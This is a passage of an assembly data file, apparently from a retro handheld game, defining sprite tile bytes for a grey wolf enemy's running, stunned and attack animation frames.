DB $00,$FF,$00,$7F,$00,$7F,$03,$03
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $01,$01,$03,$03,$06,$06,$00,$00
DB $00,$F0,$00,$F0,$00,$FC,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$C0,$FF
DB $C0,$FF,$00,$1F,$20,$3F,$E0,$FE
DB $E0,$EC,$80,$8C,$00,$0C,$00,$18
DB $00,$00,$00,$00,$00,$3C,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$10,$9F,$08,$0F
DB $0C,$0F,$06,$07,$03,$03,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$80,$00,$80,$00,$E3,$00,$F7
DB $00,$7E,$00,$BC,$00,$80,$00,$C0
DB $00,$E0,$00,$E0,$80,$B0,$80,$90
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$02,$00,$03
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$40,$00,$60
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$0F,$00,$1F,$10,$0F,$01,$FE
DB $00,$FF,$00,$7F,$00,$7F,$03,$03
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$F0,$00,$F0,$00,$FC,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$C0,$FF
DB $C0,$FF,$20,$3F,$20,$3E,$30,$3F
DB $38,$3B,$60,$61,$60,$60,$C0,$C0
DB $00,$00,$00,$00,$00,$7E,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$20,$3F,$30,$3F
DB $30,$BF,$10,$9E,$02,$CE,$02,$5A
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$80,$00,$C0,$00,$F0,$00,$FD
DB $00,$BF,$00,$07,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
r4_SpriteGreyWolfRunLEnd::
r4_SpriteGreyWolfRunR::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$02,$00,$06,$00,$0F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$40,$00,$C0,$00,$F0
DB $00,$00,$00,$00,$00,$03,$00,$0F
DB $00,$1F,$00,$7C,$00,$F8,$00,$F0
DB $00,$E0,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$1F,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $80,$FF,$80,$FF,$C0,$FC,$E0,$FE
DB $F0,$FE,$C0,$C7,$C0,$C1,$60,$61
DB $00,$0F,$00,$3F,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$03,$FF,$03,$FF
DB $02,$FE,$00,$FE,$10,$FF,$70,$77
DB $60,$6E,$C0,$DC,$80,$90,$00,$80
DB $00,$F8,$08,$F0,$80,$7F,$00,$FF
DB $00,$FE,$00,$FE,$C0,$C0,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$02,$00,$06,$00,$0F,$00,$0F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$40,$00,$C0,$00,$F0,$00,$F8
DB $00,$00,$00,$00,$00,$03,$00,$07
DB $00,$0F,$00,$1C,$00,$FC,$00,$F8
DB $00,$E0,$00,$00,$01,$01,$01,$01
DB $03,$03,$07,$07,$06,$06,$04,$04
DB $00,$00,$00,$07,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $80,$FF,$80,$FD,$C0,$FC,$C0,$DC
DB $80,$B8,$00,$38,$00,$30,$00,$20
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$03,$FF,$03,$FF,$04,$FC
DB $00,$FE,$00,$FF,$08,$0F,$1C,$1C
DB $18,$18,$00,$00,$00,$00,$00,$00
DB $08,$F0,$80,$7F,$00,$FF,$00,$FE
DB $00,$FE,$C0,$C0,$00,$00,$00,$00
DB $00,$00,$00,$80,$00,$C0,$00,$60
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$02,$00,$06,$00,$0F,$00,$0F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$40,$00,$C0,$00,$F0,$00,$F8
DB $00,$00,$00,$00,$00,$00,$00,$01
DB $00,$03,$00,$0F,$00,$BF,$01,$FD
DB $1E,$FF,$3E,$3F,$60,$67,$00,$1F
DB $00,$3F,$00,$60,$00,$00,$00,$00
DB $00,$00,$00,$03,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$F1,$00,$F0,$00,$E0
DB $00,$80,$00,$00,$00,$00,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$03,$FF,$03,$FF,$04,$FC
DB $00,$FF,$00,$FF,$00,$03,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $08,$F0,$80,$7F,$00,$FF,$00,$FE
DB $00,$FE,$C0,$C0,$00,$00,$00,$00
DB $F0,$F0,$38,$F8,$00,$E0,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$02,$00,$06
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$40,$00,$C0
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$01,$00,$01,$00,$C7,$00,$EF
DB $00,$7E,$00,$3D,$00,$01,$00,$03
DB $00,$07,$00,$07,$01,$0D,$01,$09
DB $00,$00,$00,$00,$00,$3C,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$08,$F9,$10,$F0
DB $30,$F0,$60,$E0,$C0,$C0,$00,$00
DB $00,$0F,$00,$0F,$00,$3F,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$03,$FF
DB $03,$FF,$00,$F8,$04,$FC,$07,$7F
DB $07,$37,$01,$31,$00,$30,$00,$18
DB $00,$F0,$00,$F8,$08,$F0,$80,$7F
DB $00,$FF,$00,$FE,$00,$FE,$C0,$C0
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $80,$80,$C0,$C0,$60,$60,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$02,$00,$06
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$40,$00,$C0
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$01,$00,$03,$00,$0F,$00,$BF
DB $00,$FD,$00,$E0,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$7E,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$04,$FC,$0C,$FC
DB $0C,$FD,$08,$79,$40,$73,$40,$5A
DB $00,$0F,$00,$0F,$00,$3F,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$03,$FF
DB $03,$FF,$04,$FC,$04,$7C,$0C,$FC
DB $1C,$DC,$06,$86,$06,$06,$03,$03
DB $00,$F0,$00,$F8,$08,$F0,$80,$7F
DB $00,$FF,$00,$FE,$00,$FE,$C0,$C0
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
r4_SpriteGreyWolfRunREnd::
r4_SpriteGreywolfStunned::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$02,$00,$03,$00,$0B,$00,$0F
DB $00,$1F,$00,$3F,$03,$3C,$20,$1F
DB $00,$7F,$00,$FF,$03,$FF,$00,$60
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$9E,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$80,$FF,$D0,$FF,$70,$7F
DB $70,$77,$60,$67,$C0,$C6,$80,$8C
DB $00,$00,$00,$00,$00,$F0,$00,$FC
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$30,$BF,$38,$3F
DB $1C,$1F,$18,$19,$18,$19,$30,$33
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$F0,$00,$F8,$00,$BC,$00,$9C
DB $00,$8E,$00,$8E,$00,$9E,$00,$DE
DB $00,$CC,$00,$C0,$00,$80,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$0F,$00,$1F,$00,$3D,$00,$39
DB $00,$71,$00,$71,$00,$79,$00,$7B
DB $00,$33,$00,$03,$00,$01,$00,$00
DB $00,$00,$00,$00,$00,$0F,$00,$3F
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$0C,$FD,$1C,$FC
DB $38,$F8,$18,$98,$18,$98,$0C,$CC
DB $00,$00,$00,$00,$00,$79,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$01,$FF,$0B,$FF,$0E,$FE
DB $0E,$EE,$06,$E6,$03,$63,$01,$31
DB $00,$40,$00,$C0,$00,$D0,$00,$F0
DB $00,$F8,$00,$FC,$C0,$3C,$04,$F8
DB $00,$FE,$00,$FF,$C0,$FF,$00,$06
DB $00,$00,$00,$00,$00,$00,$00,$00
r4_SpriteGreywolfStunnedEnd::
r4_SpriteGreywolfAttackLeft::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$01
DB $00,$01,$00,$07,$00,$0F,$08,$07
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$20
DB $00,$B0,$00,$F8,$00,$F8,$00,$FE
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$7F,$00,$7F,$00,$3F,$00,$3F
DB $01,$01,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$01,$01
DB $80,$7F,$00,$FF,$00,$FF,$00,$FF
DB $E0,$FF,$60,$7F,$00,$3F,$20,$3F
DB $30,$3F,$30,$3F,$78,$7F,$60,$67
DB $60,$67,$C0,$C7,$C0,$C6,$80,$8C
DB $00,$00,$00,$80,$00,$80,$00,$F0
DB $00,$FC,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$7F,$30,$3F
DB $30,$3F,$1C,$1F,$18,$19,$30,$33
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$E0,$00,$F8,$00,$BC
DB $00,$9C,$00,$8E,$00,$8E,$00,$9E
DB $00,$1E,$00,$8C,$00,$80,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$03,$00,$07,$08,$27
DB $00,$7F,$00,$3F,$00,$3F,$1F,$0E
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$90,$00,$D0,$00,$F8,$00,$F8
DB $00,$FC,$80,$7E,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$E0
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $0F,$0F,$06,$0F,$00,$0F,$00,$00
DB $00,$00,$00,$00,$00,$01,$00,$01
DB $00,$03,$00,$02,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$FF,$80,$FF,$80,$FF,$00,$FF
DB $80,$FF,$C0,$FF,$00,$FD,$00,$F8
DB $00,$80,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$F8,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$60,$7F
DB $70,$7F,$38,$3F,$18,$1B,$18,$19
DB $08,$08,$00,$00,$00,$01,$00,$00
DB $00,$00,$00,$C0,$00,$F0,$00,$78
DB $00,$38,$00,$1C,$00,$9C,$00,$BC
DB $00,$BC,$00,$98,$00,$80,$00,$80
DB $00,$80,$00,$80,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$01,$00,$07,$00,$0F,$10,$5F
DB $00,$FF,$01,$7F,$00,$7F,$3E,$1D
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$20,$00,$A0,$00,$F0,$00,$F0
DB $00,$F8,$80,$FC,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$E0
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $1E,$1F,$1F,$1F,$0F,$1F,$00,$1F
DB $00,$0C,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$FF,$00,$7F,$00,$7F,$00,$7F
DB $40,$7F,$60,$7F,$20,$3F,$00,$3C
DB $00,$38,$00,$70,$10,$70,$30,$70
DB $20,$E0,$20,$20,$00,$00,$00,$00
DB $00,$F8,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$60,$7F
DB $70,$7F,$38,$3F,$18,$1B,$18,$19
DB $08,$08,$00,$00,$00,$01,$00,$00
DB $00,$00,$00,$C0,$00,$F0,$00,$78
DB $00,$38,$00,$1C,$00,$9C,$00,$BC
DB $00,$BC,$00,$98,$00,$80,$00,$80
DB $00,$80,$00,$80,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$04,$00,$0D,$00,$1F
DB $00,$1F,$00,$3F,$00,$3F,$00,$3F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$A0
DB $00,$F0,$00,$F8,$00,$F9,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$E0,$00,$F8
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$3F,$00,$7F,$00,$FF,$00,$7F
DB $00,$7F,$01,$3F,$00,$1F,$00,$1F
DB $00,$1F,$00,$1F,$00,$0C,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $80,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$40,$7E,$60,$7E,$30,$36
DB $70,$76,$60,$62,$40,$42,$40,$42
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$C0,$FF,$E0,$FF,$70,$7F
DB $30,$37,$30,$33,$10,$11,$10,$11
DB $00,$02,$00,$00,$00,$00,$00,$00
DB $00,$C0,$00,$F0,$00,$78,$00,$38
DB $00,$1C,$00,$9C,$00,$3C,$00,$3C
DB $00,$18,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$01,$00,$01
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$23,$00,$B7
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$E0
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$07,$00,$0F,$08,$07,$00,$7F
DB $00,$7F,$00,$3F,$00,$3F,$01,$01
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$80,$7F
DB $00,$FF,$00,$FF,$00,$FF,$E0,$FF
DB $60,$7F,$70,$7E,$30,$3E,$70,$7E
DB $60,$66,$E0,$E6,$C0,$C2,$80,$86
DB $00,$F8,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$20,$FF
DB $60,$7F,$60,$7F,$30,$3F,$30,$37
DB $10,$12,$30,$32,$00,$06,$00,$00
DB $00,$00,$00,$C0,$00,$F0,$00,$78
DB $00,$38,$00,$1C,$00,$9C,$00,$3C
DB $00,$3C,$00,$18,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
r4_SpriteGreywolfAttackLeftEnd::
r4_SpriteGreywolfAttackRight::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$04
DB $00,$0D,$00,$1F,$00,$1F,$00,$7F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$80
DB $00,$80,$00,$E0,$00,$F0,$10,$E0
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$07,$00,$1F,$00,$3D
DB $00,$39,$00,$71,$00,$71,$00,$79
DB $00,$78,$00,$31,$00,$01,$00,$00
DB $00,$00,$00,$01,$00,$01,$00,$0F
DB $00,$3F,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FE,$0C,$FC
DB $0C,$FC,$38,$F8,$18,$98,$0C,$CC
DB $01,$FE,$00,$FF,$00,$FF,$00,$FF
DB $07,$FF,$06,$FE,$00,$FC,$04,$FC
DB $0C,$FC,$0C,$FC,$1E,$FE,$06,$E6
DB $06,$E6,$03,$E3,$03,$63,$01,$31
DB $00,$FE,$00,$FE,$00,$FC,$00,$FC
DB $80,$80,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$80,$80
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$07
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$09,$00,$0B,$00,$1F,$00,$1F
DB $00,$3F,$01,$7E,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$C0,$00,$E0,$10,$E4
DB $00,$FE,$00,$FC,$00,$FC,$F8,$70
DB $00,$00,$00,$03,$00,$0F,$00,$1E
DB $00,$1C,$00,$38,$00,$39,$00,$3D
DB $00,$3D,$00,$19,$00,$01,$00,$01
DB $00,$01,$00,$01,$00,$00,$00,$00
DB $00,$1F,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$06,$FE
DB $0E,$FE,$1C,$FC,$18,$D8,$18,$98
DB $10,$10,$00,$00,$00,$80,$00,$00
DB $00,$FF,$01,$FF,$01,$FF,$00,$FF
DB $01,$FF,$03,$FF,$00,$BF,$00,$1F
DB $00,$01,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $F0,$F0,$60,$F0,$00,$F0,$00,$00
DB $00,$00,$00,$00,$00,$80,$00,$80
DB $00,$C0,$00,$40,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$07
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$04,$00,$05,$00,$0F,$00,$0F
DB $00,$1F,$01,$3F,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$80,$00,$E0,$00,$F0,$08,$FA
DB $00,$FF,$80,$FE,$00,$FE,$7C,$B8
DB $00,$00,$00,$03,$00,$0F,$00,$1E
DB $00,$1C,$00,$38,$00,$39,$00,$3D
DB $00,$3D,$00,$19,$00,$01,$00,$01
DB $00,$01,$00,$01,$00,$00,$00,$00
DB $00,$1F,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$06,$FE
DB $0E,$FE,$1C,$FC,$18,$D8,$18,$98
DB $10,$10,$00,$00,$00,$80,$00,$00
DB $00,$FF,$00,$FE,$00,$FE,$00,$FE
DB $02,$FE,$06,$FE,$04,$FC,$00,$3C
DB $00,$1C,$00,$0E,$08,$0E,$0C,$0E
DB $04,$07,$04,$04,$00,$00,$00,$00
DB $78,$F8,$F8,$F8,$F0,$F8,$00,$F8
DB $00,$30,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$07,$00,$1F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$05
DB $00,$0F,$00,$1F,$00,$9F,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
